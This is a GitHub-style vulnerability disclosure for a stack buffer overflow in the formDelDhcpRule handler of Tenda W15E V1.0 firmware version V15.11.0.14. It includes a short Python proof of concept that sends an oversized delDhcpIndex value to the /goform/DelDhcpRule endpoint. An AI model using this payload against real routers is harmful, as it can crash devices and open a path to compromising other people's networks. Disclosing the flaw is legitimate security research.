Skip to content

Latest commit

 

History

History
32 lines (21 loc) · 1.16 KB

formDelDhcpRule.md

File metadata and controls

32 lines (21 loc) · 1.16 KB

Overview

Affected version

W15EV1.0 V15.11.0.14

Vulnerability details

The Tenda W15EV1.0 V15.11.0.14 firmware has a stack overflow vulnerability in the formDelDhcpRule function. The indexSet variable receives the delDhcpIndex parameter from a POST request and is directly assigned to strcpy. However, since the user can control the input of delDhcpIndex , the statement strcpy((char *)indexs, (const char *)indexSet); can cause a buffer overflow. The user-provided delDhcpIndex can exceed the capacity of the indexs array, triggering this security vulnerability.

image-20240417101102741

POC

import requests
from pwn import*

ip = "192.168.84.101"
url = "http://" + ip + "/goform/DelDhcpRule"
payload = b"a"*2000

data = {
    	'delDhcpIndex':payload,
    }
response = requests.post(url, data=data)
print(response.text)

image-20240416114043980